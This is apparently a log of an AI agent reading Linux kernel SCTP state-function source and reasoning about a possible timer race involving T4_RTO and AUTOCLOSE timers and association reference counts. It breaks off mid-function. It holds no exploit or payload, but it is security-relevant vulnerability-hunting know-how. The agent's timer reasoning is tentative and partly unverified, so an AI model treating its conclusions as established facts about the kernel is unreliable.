Now, I'm considering the scenario where the socket is currently locked by the user. This could happen if, for instance, another `setsockopt` operation is in progress. In this situation, instead of immediately processing the timeout, the system calls `mod_timer` to reschedule the timer for a later retry. While this is happening, the association itself is held.

This leads to a crucial point: when `T4_RTO` fires and the socket is locked by the user, the timer is effectively *no longer pending* in the immediate sense. The `mod_timer` call schedules a retry for approximately `HZ/20` seconds later. The association is then put on hold until this rescheduled timer fires. When the timer *does* fire again, the system will attempt to re-process the `ASCONF` timeout.

On the other hand, if the socket is *not* owned by the user when `T4_RTO` fires, the system directly proceeds to call `sctp_do_sm` with `SCTP_EVENT_T_TIMEOUT` and `SCTP_ST_TIMEOUT(T4_RTO)`. This path then maps to `sctp_sf_t4_timer_expire`, where the timeout is handled directly.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_t4_timer_expire]

map[SourceCode:6138:	/*
6139:	 * ADDIP Section 4.1 ASCONF Chunk Procedures
6140:	 * If the T4 RTO timer expires the endpoint should do B1 to B5
6141:	 */
6142:	enum sctp_disposition sctp_sf_t4_timer_expire(
6143:						struct net *net,
6144:						const struct sctp_endpoint *ep,
6145:						const struct sctp_association *asoc,
6146:						const union sctp_subtype type,
6147:						void *arg,
6148:						struct sctp_cmd_seq *commands)
6149:	{
6150:		struct sctp_chunk *chunk = asoc->addip_last_asconf;
6151:		struct sctp_transport *transport;
6152:	
6153:		if (!chunk)
6154:			return SCTP_DISPOSITION_CONSUME;
6155:	
6156:		transport = chunk->transport;
6157:		SCTP_INC_STATS(net, SCTP_MIB_T4_RTO_EXPIREDS);
6158:	
6159:		/* ADDIP 4.1 B1) Increment the error counters and perform path failure
6160:		 * detection on the appropriate destination address as defined in
6161:		 * RFC2960 [5] section 8.1 and 8.2.
6162:		 */
6163:		if (transport)
6164:			sctp_add_cmd_sf(commands, SCTP_CMD_STRIKE,
6165:					SCTP_TRANSPORT(transport));
6166:	
6167:		/* Reconfig T4 timer and transport. */
6168:		sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
6169:	
6170:		/* ADDIP 4.1 B2) Increment the association error counters and perform
6171:		 * endpoint failure detection on the association as defined in
6172:		 * RFC2960 [5] section 8.1 and 8.2.
6173:		 * association error counter is incremented in SCTP_CMD_STRIKE.
6174:		 */
6175:		if (asoc->overall_error_count >= asoc->max_retrans) {
6176:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
6177:					SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
6178:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
6179:					SCTP_ERROR(ETIMEDOUT));
6180:			sctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,
6181:					SCTP_PERR(SCTP_ERROR_NO_ERROR));
6182:			SCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);
6183:			SCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);
6184:			return SCTP_DISPOSITION_ABORT;
6185:		}
6186:	
6187:		/* ADDIP 4.1 B3) Back-off the destination address RTO value to which
6188:		 * the ASCONF chunk was sent by doubling the RTO timer value.
6189:		 * This is done in SCTP_CMD_STRIKE.
6190:		 */
6191:	
6192:		/* ADDIP 4.1 B4) Re-transmit the ASCONF Chunk last sent and if possible
6193:		 * choose an alternate destination address (please refer to RFC2960
6194:		 * [5] section 6.4.1). An endpoint MUST NOT add new parameters to this
6195:		 * chunk, it MUST be the same (including its serial number) as the last
6196:		 * ASCONF sent.
6197:		 */
6198:		sctp_chunk_hold(asoc->addip_last_asconf);
6199:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
6200:				SCTP_CHUNK(asoc->addip_last_asconf));
6201:	
6202:		/* ADDIP 4.1 B5) Restart the T-4 RTO timer. Note that if a different
6203:		 * destination is selected, then the RTO used will be that of the new
6204:		 * destination address.
6205:		 */
6206:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
6207:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
6208:	
6209:		return SCTP_DISPOSITION_CONSUME;
6210:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 139317
							output: 49
							thoughts: 201
						

**My Thought Process Regarding the SCTP Timer Bug**

Okay, so I've been digging into this SCTP timer behavior, and I'm starting to piece things together. My initial concern was around the `sctp_sf_t4_timer_expire` function, which handles the T4 (RTO) timer expiration. However, I've realized that this specific function uses `SCTP_CMD_TIMER_RESTART`. And the crucial point here is that `SCTP_CMD_TIMER_RESTART` employs `mod_timer`, which I've determined *does not* have the bug I'm investigating. This means that a T4 RTO expiration itself isn't the direct trigger for the problematic behavior.

This leads me to the next logical question: what *does* initiate `SCTP_CMD_TIMER_START` specifically for the T4 RTO? My investigation points to the `sctp_sf_do_prm_asconf` function. This function is invoked whenever a new ASCONF (Association Configuration) message is transmitted.

Now, the scenario that brings `sctp_sf_do_prm_asconf` into play, and consequently `SCTP_CMD_TIMER_START` for T4 RTO, appears to be related to the sequence of operations when adding new network addresses. If I were to call `setsockopt(SCTP_SOCKOPT_BINDX_ADD)` multiple times in succession, it would effectively queue up these ASCONF messages. The system then waits for an ASCONF_ACK to be received before sending the subsequent ASCONF.

Therefore, my current hypothesis is that the bug is triggered by the *initiation* of a T4 RTO timer when a new ASCONF is being sent, not by its expiration. The next step in my analysis is to thoroughly examine the `sctp_sf_do_asconf_ack` function to understand precisely how it handles the ASCONF_ACK and, in turn, what leads to the subsequent ASCONF transmission and the problematic timer start.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_asconf_ack]

map[SourceCode:4050:	/*
4051:	 * ADDIP Section 4.3 General rules for address manipulation
4052:	 * When building TLV parameters for the ASCONF Chunk that will add or
4053:	 * delete IP addresses the D0 to D13 rules should be applied:
4054:	 */
4055:	enum sctp_disposition sctp_sf_do_asconf_ack(struct net *net,
4056:						    const struct sctp_endpoint *ep,
4057:						    const struct sctp_association *asoc,
4058:						    const union sctp_subtype type,
4059:						    void *arg,
4060:						    struct sctp_cmd_seq *commands)
4061:	{
4062:		struct sctp_chunk *last_asconf = asoc->addip_last_asconf;
4063:		struct sctp_paramhdr *err_param = NULL;
4064:		struct sctp_chunk *asconf_ack = arg;
4065:		struct sctp_addiphdr *addip_hdr;
4066:		__u32 sent_serial, rcvd_serial;
4067:		struct sctp_chunk *abort;
4068:	
4069:		if (!sctp_vtag_verify(asconf_ack, asoc)) {
4070:			sctp_add_cmd_sf(commands, SCTP_CMD_REPORT_BAD_TAG,
4071:					SCTP_NULL());
4072:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
4073:		}
4074:	
4075:		/* Make sure that the ADDIP chunk has a valid length.  */
4076:		if (!sctp_chunk_length_valid(asconf_ack,
4077:					     sizeof(struct sctp_addip_chunk)))
4078:			return sctp_sf_violation_chunklen(net, ep, asoc, type, arg,
4079:							  commands);
4080:	
4081:		/* ADD-IP, Section 4.1.2:
4082:		 * This chunk MUST be sent in an authenticated way by using
4083:		 * the mechanism defined in [I-D.ietf-tsvwg-sctp-auth]. If this chunk
4084:		 * is received unauthenticated it MUST be silently discarded as
4085:		 * described in [I-D.ietf-tsvwg-sctp-auth].
4086:		 */
4087:		if (!asoc->peer.asconf_capable ||
4088:		    (!net->sctp.addip_noauth && !asconf_ack->auth))
4089:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
4090:	
4091:		addip_hdr = (struct sctp_addiphdr *)asconf_ack->skb->data;
4092:		rcvd_serial = ntohl(addip_hdr->serial);
4093:	
4094:		/* Verify the ASCONF-ACK chunk before processing it. */
4095:		if (!sctp_verify_asconf(asoc, asconf_ack, false, &err_param))
4096:			return sctp_sf_violation_paramlen(net, ep, asoc, type, arg,
4097:				   (void *)err_param, commands);
4098:	
4099:		if (last_asconf) {
4100:			addip_hdr = last_asconf->subh.addip_hdr;
4101:			sent_serial = ntohl(addip_hdr->serial);
4102:		} else {
4103:			sent_serial = asoc->addip_serial - 1;
4104:		}
4105:	
4106:		/* D0) If an endpoint receives an ASCONF-ACK that is greater than or
4107:		 * equal to the next serial number to be used but no ASCONF chunk is
4108:		 * outstanding the endpoint MUST ABORT the association. Note that a
4109:		 * sequence number is greater than if it is no more than 2^^31-1
4110:		 * larger than the current sequence number (using serial arithmetic).
4111:		 */
4112:		if (ADDIP_SERIAL_gte(rcvd_serial, sent_serial + 1) &&
4113:		    !(asoc->addip_last_asconf)) {
4114:			abort = sctp_make_abort(asoc, asconf_ack,
4115:						sizeof(struct sctp_errhdr));
4116:			if (abort) {
4117:				sctp_init_cause(abort, SCTP_ERROR_ASCONF_ACK, 0);
4118:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
4119:						SCTP_CHUNK(abort));
4120:			}
4121:			/* We are going to ABORT, so we might as well stop
4122:			 * processing the rest of the chunks in the packet.
4123:			 */
4124:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
4125:					SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
4126:			sctp_add_cmd_sf(commands, SCTP_CMD_DISCARD_PACKET, SCTP_NULL());
4127:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
4128:					SCTP_ERROR(ECONNABORTED));
4129:			sctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,
4130:					SCTP_PERR(SCTP_ERROR_ASCONF_ACK));
4131:			SCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);
4132:			SCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);
4133:			return SCTP_DISPOSITION_ABORT;
4134:		}
4135:	
4136:		if ((rcvd_serial == sent_serial) && asoc->addip_last_asconf) {
4137:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
4138:					SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
4139:	
4140:			if (!sctp_process_asconf_ack((struct sctp_association *)asoc,
4141:						     asconf_ack))
4142:				return sctp_send_next_asconf(net, ep,
4143:						(struct sctp_association *)asoc,
4144:								type, commands);
4145:	
4146:			abort = sctp_make_abort(asoc, asconf_ack,
4147:						sizeof(struct sctp_errhdr));
4148:			if (abort) {
4149:				sctp_init_cause(abort, SCTP_ERROR_RSRC_LOW, 0);
4150:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
4151:						SCTP_CHUNK(abort));
4152:			}
4153:			/* We are going to ABORT, so we might as well stop
4154:			 * processing the rest of the chunks in the packet.
4155:			 */
4156:			sctp_add_cmd_sf(commands, SCTP_CMD_DISCARD_PACKET, SCTP_NULL());
4157:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
4158:					SCTP_ERROR(ECONNABORTED));
4159:			sctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,
4160:					SCTP_PERR(SCTP_ERROR_ASCONF_ACK));
4161:			SCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);
4162:			SCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);
4163:			return SCTP_DISPOSITION_ABORT;
4164:		}
4165:	
4166:		return SCTP_DISPOSITION_DISCARD;
4167:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 141891
							output: 47
							thoughts: 42
						

**My Thought Process Regarding ASCONF_ACK Handling**

So, my current line of inquiry, as I delve into the intricacies of SCTP's association management, has led me to a particular juncture: the reception of an ASCONF_ACK. My immediate thought upon encountering this event is, "Ah! This must trigger a specific action." Naturally, my next step is to identify precisely *what* that action is. My hypothesis, based on the typical flow of such protocols, is that receiving an acknowledgment for an ASCONF (Association Confirmation) message would necessitate sending the *next* pending ASCONF chunk, if one exists. This is a standard mechanism for progressing through a handshake or negotiation process. Therefore, I'm anticipating that the SCTP stack will invoke a function responsible for this very task. My current focus is on examining the `sctp_send_next_asconf` function to confirm this assumption and to understand the internal logic that dictates when and how the next ASCONF chunk is prepared and transmitted. I need to see how it determines if there are further ASCONF parameters to send and how it manages the state of the association during this part of the handshake.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_send_next_asconf]

map[SourceCode:4027:	static enum sctp_disposition sctp_send_next_asconf(
4028:						struct net *net,
4029:						const struct sctp_endpoint *ep,
4030:						struct sctp_association *asoc,
4031:						const union sctp_subtype type,
4032:						struct sctp_cmd_seq *commands)
4033:	{
4034:		struct sctp_chunk *asconf;
4035:		struct list_head *entry;
4036:	
4037:		if (list_empty(&asoc->addip_chunk_list))
4038:			return SCTP_DISPOSITION_CONSUME;
4039:	
4040:		entry = asoc->addip_chunk_list.next;
4041:		asconf = list_entry(entry, struct sctp_chunk, list);
4042:	
4043:		list_del_init(entry);
4044:		sctp_chunk_hold(asconf);
4045:		asoc->addip_last_asconf = asconf;
4046:	
4047:		return sctp_sf_do_prm_asconf(net, ep, asoc, type, asconf, commands);
4048:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 142353
							output: 51
							thoughts: 1330
						

**A Deep Dive into SCTP Timer Management and Potential Race Conditions**

Alright, let's trace this. My thought process here is really digging into the SCTP stack's timer handling, specifically focusing on the interplay between `T4_RTO` and `AUTOCLOSE` timers, and how acknowledgements and incoming packets might interact with them, potentially leading to race conditions.

Initially, I observed that `sctp_send_next_asconf` triggers `sctp_sf_do_prm_asconf`, which in turn generates `SCTP_CMD_TIMER_START` for the `T4_RTO` timer. This led me to consider the scenario where multiple ASCONFs are queued. If an `ASCONF_ACK` arrives, it would, as expected, attempt to stop the `T4_RTO` timer first. The `sctp_sf_do_asconf_ack` function explicitly does this with a `SCTP_CMD_TIMER_STOP`.

Then, the critical sequence unfolds: `sctp_send_next_asconf` is called *after* the timer is stopped, and this again generates `SCTP_CMD_TIMER_START`. My initial reasoning was that when `sctp_cmd_interpreter` processes these, it stops the timer (`timer_delete`), and then immediately tries to start it again (`timer_pending`). Since `timer_delete` would have removed it, `timer_pending` would correctly return `FALSE`, and the timer would be started anew. This seemed robust, without any race conditions because the timer wasn't pending when the start command was issued.

However, my mind immediately jumped to the more complex scenario: what if the `T4_RTO` timer were to fire *concurrently* with the processing of `sctp_sf_do_asconf_ack`? If the `T4_RTO` timer fired, it would attempt to acquire the socket lock. But since `sctp_sf_do_asconf_ack` is currently executing, it already holds that lock. So, the timer callback would spin waiting for the lock.

In this spinning state, `sctp_cmd_interpreter` continues processing. It receives `SCTP_CMD_TIMER_STOP`. Crucially, `timer_delete(timer)` would return `0` because the timer is *running*, not pending. This means the association is *not* put on hold. Following this, `SCTP_CMD_TIMER_START` is processed. `timer_pending(timer)` would return `FALSE` again (since it's running, not pending). Consequently, the association is held, and `timer_reduce` is called, re-enqueuing the timer.

Once `sctp_cmd_interpreter` finishes and releases the socket lock, the timer callback can finally acquire it. Now, it checks `sock_owned_by_user(sk)`. If `sctp_sf_do_asconf_ack` was invoked from a softirq context (handling an incoming packet), then `sock_owned_by_user(sk)` would indeed be `FALSE`. The timer callback, not being an owner, proceeds to call `sctp_do_sm` for `SCTP_EVENT_T_TIMEOUT`, which in turn calls `sctp_sf_t4_timer_expire`. This expiration event generates `SCTP_CMD_TIMER_RESTART`.

When `sctp_cmd_interpreter` processes `SCTP_CMD_TIMER_RESTART`, it calls `mod_timer`. Here's the key: `mod_timer` would return `1` because `timer_reduce` had indeed made the timer pending. The fact that it returns `1` means the timer was pending, and the operation was successful without needing to create a new timer. Finally, the timer callback completes, and `sctp_association_put(asoc)` is called, balancing the reference count. This path seems safe as well.

However, my focus then shifted to the condition `timer_pending(timer)` returning `TRUE` within the `SCTP_CMD_TIMER_START` processing. When could this happen? It implies the timer was *already* pending when `SCTP_CMD_TIMER_START` was issued. I re-examined `sctp_sf_do_prm_asconf`, noting it's called when `asoc->addip_last_asconf` is `NULL`. In this state, the `T4_RTO` timer *shouldn't* be pending. I considered if it could be pending from a previous `ASCONF` that was acknowledged but its timer wasn't properly stopped – but `sctp_sf_do_asconf_ack` handles that.

This line of thought then brought me to other timers. I recalled `T1_COOKIE` being started by `sctp_sf_do_5_1C_ack` and `AUTOCLOSE` by `sctp_sf_do_5_1D_ce` and `sctp_sf_do_5_1E_ca`. The `AUTOCLOSE` timer became the new suspect. If the `AUTOCLOSE` timer is already pending, and a subsequent chunk arrives that triggers `sctp_sf_do_5_1D_ce` or `sctp_sf_do_5_1E_ca`, these functions would generate `SCTP_CMD_TIMER_START` for `AUTOCLOSE`. This is where a potential issue might lie, as `SCTP_CMD_TIMER_START` when the timer is already pending could lead to unexpected behavior. My investigation would then naturally turn to the implementation of `sctp_sf_do_5_1D_ce` to understand its timer handling.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_5_1D_ce]

map[SourceCode: 672:	/*
 673:	 * Respond to a normal COOKIE ECHO chunk.
 674:	 * We are the side that is being asked for an association.
 675:	 *
 676:	 * Section: 5.1 Normal Establishment of an Association, D
 677:	 * D) Upon reception of the COOKIE ECHO chunk, Endpoint "Z" will reply
 678:	 *    with a COOKIE ACK chunk after building a TCB and moving to
 679:	 *    the ESTABLISHED state. A COOKIE ACK chunk may be bundled with
 680:	 *    any pending DATA chunks (and/or SACK chunks), but the COOKIE ACK
 681:	 *    chunk MUST be the first chunk in the packet.
 682:	 *
 683:	 *   IMPLEMENTATION NOTE: An implementation may choose to send the
 684:	 *   Communication Up notification to the SCTP user upon reception
 685:	 *   of a valid COOKIE ECHO chunk.
 686:	 *
 687:	 * Verification Tag: 8.5.1 Exceptions in Verification Tag Rules
 688:	 * D) Rules for packet carrying a COOKIE ECHO
 689:	 *
 690:	 * - When sending a COOKIE ECHO, the endpoint MUST use the value of the
 691:	 *   Initial Tag received in the INIT ACK.
 692:	 *
 693:	 * - The receiver of a COOKIE ECHO follows the procedures in Section 5.
 694:	 *
 695:	 * Inputs
 696:	 * (endpoint, asoc, chunk)
 697:	 *
 698:	 * Outputs
 699:	 * (asoc, reply_msg, msg_up, timers, counters)
 700:	 *
 701:	 * The return value is the disposition of the chunk.
 702:	 */
 703:	enum sctp_disposition sctp_sf_do_5_1D_ce(struct net *net,
 704:						 const struct sctp_endpoint *ep,
 705:						 const struct sctp_association *asoc,
 706:						 const union sctp_subtype type,
 707:						 void *arg,
 708:						 struct sctp_cmd_seq *commands)
 709:	{
 710:		struct sctp_ulpevent *ev, *ai_ev = NULL, *auth_ev = NULL;
 711:		struct sctp_chunk *err_chk_p = NULL;
 712:		struct sctp_association *new_asoc;
 713:		struct sctp_init_chunk *peer_init;
 714:		struct sctp_chunk *chunk = arg;
 715:		struct sctp_chunk *repl;
 716:		enum sctp_cid cid;
 717:		struct sock *sk;
 718:		int error = 0;
 719:	
 720:		if (asoc && !sctp_vtag_verify(chunk, asoc))
 721:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
 722:	
 723:		/* If the packet is an OOTB packet which is temporarily on the
 724:		 * control endpoint, respond with an ABORT.
 725:		 */
 726:		if (ep == sctp_sk(net->sctp.ctl_sock)->ep) {
 727:			SCTP_INC_STATS(net, SCTP_MIB_OUTOFBLUES);
 728:			return sctp_sf_tabort_8_4_8(net, ep, asoc, type, arg, commands);
 729:		}
 730:	
 731:		/* Make sure that the COOKIE_ECHO chunk has a valid length.
 732:		 * In this case, we check that we have enough for at least a
 733:		 * chunk header.  More detailed verification is done
 734:		 * in sctp_unpack_cookie().
 735:		 */
 736:		if (!sctp_chunk_length_valid(chunk, sizeof(struct sctp_chunkhdr)))
 737:			return sctp_sf_violation_chunklen(net, ep, asoc, type, arg,
 738:							  commands);
 739:	
 740:		/* If the endpoint is not listening or if the number of associations
 741:		 * on the TCP-style socket exceed the max backlog, respond with an
 742:		 * ABORT.
 743:		 */
 744:		sk = ep->base.sk;
 745:		if (!sctp_sstate(sk, LISTENING) ||
 746:		    (sctp_style(sk, TCP) && sk_acceptq_is_full(sk)))
 747:			return sctp_sf_tabort_8_4_8(net, ep, asoc, type, arg, commands);
 748:	
 749:		/* "Decode" the chunk.  We have no optional parameters so we
 750:		 * are in good shape.
 751:		 */
 752:		chunk->subh.cookie_hdr =
 753:			(struct sctp_signed_cookie *)chunk->skb->data;
 754:		if (!pskb_pull(chunk->skb, ntohs(chunk->chunk_hdr->length) -
 755:						 sizeof(struct sctp_chunkhdr)))
 756:			goto nomem;
 757:	
 758:		/* 5.1 D) Upon reception of the COOKIE ECHO chunk, Endpoint
 759:		 * "Z" will reply with a COOKIE ACK chunk after building a TCB
 760:		 * and moving to the ESTABLISHED state.
 761:		 */
 762:		new_asoc = sctp_unpack_cookie(ep, asoc, chunk, GFP_ATOMIC, &error,
 763:					      &err_chk_p);
 764:	
 765:		/* FIXME:
 766:		 * If the re-build failed, what is the proper error path
 767:		 * from here?
 768:		 *
 769:		 * [We should abort the association. --piggy]
 770:		 */
 771:		if (!new_asoc) {
 772:			/* FIXME: Several errors are possible.  A bad cookie should
 773:			 * be silently discarded, but think about logging it too.
 774:			 */
 775:			switch (error) {
 776:			case -SCTP_IERROR_NOMEM:
 777:				goto nomem;
 778:	
 779:			case -SCTP_IERROR_STALE_COOKIE:
 780:				sctp_send_stale_cookie_err(net, ep, asoc, chunk, commands,
 781:							   err_chk_p);
 782:				return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
 783:	
 784:			case -SCTP_IERROR_BAD_SIG:
 785:			default:
 786:				return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
 787:			}
 788:		}
 789:	
 790:		peer_init = (struct sctp_init_chunk *)(chunk->subh.cookie_hdr + 1);
 791:		cid = peer_init->chunk_hdr.type;
 792:		if (!sctp_sk(sk)->cookie_auth_enable &&
 793:		    !sctp_verify_init(net, ep, asoc, cid, peer_init, chunk,
 794:				      &err_chk_p)) {
 795:			sctp_association_free(new_asoc);
 796:			if (err_chk_p)
 797:				sctp_chunk_free(err_chk_p);
 798:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
 799:		}
 800:		if (err_chk_p)
 801:			sctp_chunk_free(err_chk_p);
 802:	
 803:		if (security_sctp_assoc_request(new_asoc, chunk->head_skb ?: chunk->skb)) {
 804:			sctp_association_free(new_asoc);
 805:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
 806:		}
 807:	
 808:		/* Delay state machine commands until later.
 809:		 *
 810:		 * Re-build the bind address for the association is done in
 811:		 * the sctp_unpack_cookie() already.
 812:		 */
 813:		/* This is a brand-new association, so these are not yet side
 814:		 * effects--it is safe to run them here.
 815:		 */
 816:		if (!sctp_process_init(new_asoc, chunk,
 817:				       &chunk->subh.cookie_hdr->c.peer_addr,
 818:				       peer_init, GFP_ATOMIC))
 819:			goto nomem_init;
 820:	
 821:		/* SCTP-AUTH:  Now that we've populate required fields in
 822:		 * sctp_process_init, set up the association shared keys as
 823:		 * necessary so that we can potentially authenticate the ACK
 824:		 */
 825:		error = sctp_auth_asoc_init_active_key(new_asoc, GFP_ATOMIC);
 826:		if (error)
 827:			goto nomem_init;
 828:	
 829:		if (!sctp_auth_chunk_verify(net, chunk, new_asoc)) {
 830:			sctp_association_free(new_asoc);
 831:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
 832:		}
 833:	
 834:		repl = sctp_make_cookie_ack(new_asoc, chunk);
 835:		if (!repl)
 836:			goto nomem_init;
 837:	
 838:		/* RFC 2960 5.1 Normal Establishment of an Association
 839:		 *
 840:		 * D) IMPLEMENTATION NOTE: An implementation may choose to
 841:		 * send the Communication Up notification to the SCTP user
 842:		 * upon reception of a valid COOKIE ECHO chunk.
 843:		 */
 844:		ev = sctp_ulpevent_make_assoc_change(new_asoc, 0, SCTP_COMM_UP, 0,
 845:						     new_asoc->c.sinit_num_ostreams,
 846:						     new_asoc->c.sinit_max_instreams,
 847:						     NULL, GFP_ATOMIC);
 848:		if (!ev)
 849:			goto nomem_ev;
 850:	
 851:		/* Sockets API Draft Section 5.3.1.6
 852:		 * When a peer sends a Adaptation Layer Indication parameter , SCTP
 853:		 * delivers this notification to inform the application that of the
 854:		 * peers requested adaptation layer.
 855:		 */
 856:		if (new_asoc->peer.adaptation_ind) {
 857:			ai_ev = sctp_ulpevent_make_adaptation_indication(new_asoc,
 858:								    GFP_ATOMIC);
 859:			if (!ai_ev)
 860:				goto nomem_aiev;
 861:		}
 862:	
 863:		if (!new_asoc->peer.auth_capable) {
 864:			auth_ev = sctp_ulpevent_make_authkey(new_asoc, 0,
 865:							     SCTP_AUTH_NO_AUTH,
 866:							     GFP_ATOMIC);
 867:			if (!auth_ev)
 868:				goto nomem_authev;
 869:		}
 870:	
 871:		/* Add all the state machine commands now since we've created
 872:		 * everything.  This way we don't introduce memory corruptions
 873:		 * during side-effect processing and correctly count established
 874:		 * associations.
 875:		 */
 876:		sctp_add_cmd_sf(commands, SCTP_CMD_NEW_ASOC, SCTP_ASOC(new_asoc));
 877:		sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
 878:				SCTP_STATE(SCTP_STATE_ESTABLISHED));
 879:		SCTP_INC_STATS(net, SCTP_MIB_CURRESTAB);
 880:		SCTP_INC_STATS(net, SCTP_MIB_PASSIVEESTABS);
 881:		sctp_add_cmd_sf(commands, SCTP_CMD_HB_TIMERS_START, SCTP_NULL());
 882:	
 883:		if (new_asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
 884:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
 885:					SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
 886:	
 887:		/* This will send the COOKIE ACK */
 888:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(repl));
 889:	
 890:		/* Queue the ASSOC_CHANGE event */
 891:		sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP, SCTP_ULPEVENT(ev));
 892:	
 893:		/* Send up the Adaptation Layer Indication event */
 894:		if (ai_ev)
 895:			sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP,
 896:					SCTP_ULPEVENT(ai_ev));
 897:	
 898:		if (auth_ev)
 899:			sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP,
 900:					SCTP_ULPEVENT(auth_ev));
 901:	
 902:		return SCTP_DISPOSITION_CONSUME;
 903:	
 904:	nomem_authev:
 905:		if (ai_ev)
 906:			sctp_ulpevent_free(ai_ev);
 907:	nomem_aiev:
 908:		sctp_ulpevent_free(ev);
 909:	nomem_ev:
 910:		sctp_chunk_free(repl);
 911:	nomem_init:
 912:		sctp_association_free(new_asoc);
 913:	nomem:
 914:		return SCTP_DISPOSITION_NOMEM;
 915:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 147961
							output: 51
							thoughts: 50
						

**My Thought Process**

Alright, so I'm analyzing this SCTP state machine logic, and I've just processed a chunk of code related to `sctp_sf_do_5_1D_ce`. My immediate takeaway here is that this function is specifically designed for establishing a *new* association. This is critical because it means there's absolutely no possibility of a pending timer being involved at this stage. If it's a new association, we're at the very beginning of the process, and any timers would only come into play *after* some initial handshake or state transition.

So, given that `sctp_sf_do_5_1D_ce` is definitively for new associations and thus can't have pending timers, my next logical question is: what about `sctp_sf_do_5_1E_ca`? This is where my focus shifts. I need to consider if *that* particular function, in contrast, *could* involve timers, perhaps in the context of a retransmission, a delayed acknowledgment, or some other state where a timer would be relevant to its operation.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_5_1E_ca]

map[SourceCode: 917:	/*
 918:	 * Respond to a normal COOKIE ACK chunk.
 919:	 * We are the side that is asking for an association.
 920:	 *
 921:	 * RFC 2960 5.1 Normal Establishment of an Association
 922:	 *
 923:	 * E) Upon reception of the COOKIE ACK, endpoint "A" will move from the
 924:	 *    COOKIE-ECHOED state to the ESTABLISHED state, stopping the T1-cookie
 925:	 *    timer. It may also notify its ULP about the successful
 926:	 *    establishment of the association with a Communication Up
 927:	 *    notification (see Section 10).
 928:	 *
 929:	 * Verification Tag:
 930:	 * Inputs
 931:	 * (endpoint, asoc, chunk)
 932:	 *
 933:	 * Outputs
 934:	 * (asoc, reply_msg, msg_up, timers, counters)
 935:	 *
 936:	 * The return value is the disposition of the chunk.
 937:	 */
 938:	enum sctp_disposition sctp_sf_do_5_1E_ca(struct net *net,
 939:						 const struct sctp_endpoint *ep,
 940:						 const struct sctp_association *asoc,
 941:						 const union sctp_subtype type,
 942:						 void *arg,
 943:						 struct sctp_cmd_seq *commands)
 944:	{
 945:		struct sctp_chunk *chunk = arg;
 946:		struct sctp_ulpevent *ev;
 947:	
 948:		if (!sctp_vtag_verify(chunk, asoc))
 949:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
 950:	
 951:		/* Set peer label for connection. */
 952:		if (security_sctp_assoc_established((struct sctp_association *)asoc,
 953:						    chunk->head_skb ?: chunk->skb))
 954:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
 955:	
 956:		/* Verify that the chunk length for the COOKIE-ACK is OK.
 957:		 * If we don't do this, any bundled chunks may be junked.
 958:		 */
 959:		if (!sctp_chunk_length_valid(chunk, sizeof(struct sctp_chunkhdr)))
 960:			return sctp_sf_violation_chunklen(net, ep, asoc, type, arg,
 961:							  commands);
 962:	
 963:		/* Reset init error count upon receipt of COOKIE-ACK,
 964:		 * to avoid problems with the management of this
 965:		 * counter in stale cookie situations when a transition back
 966:		 * from the COOKIE-ECHOED state to the COOKIE-WAIT
 967:		 * state is performed.
 968:		 */
 969:		sctp_add_cmd_sf(commands, SCTP_CMD_INIT_COUNTER_RESET, SCTP_NULL());
 970:	
 971:		/* RFC 2960 5.1 Normal Establishment of an Association
 972:		 *
 973:		 * E) Upon reception of the COOKIE ACK, endpoint "A" will move
 974:		 * from the COOKIE-ECHOED state to the ESTABLISHED state,
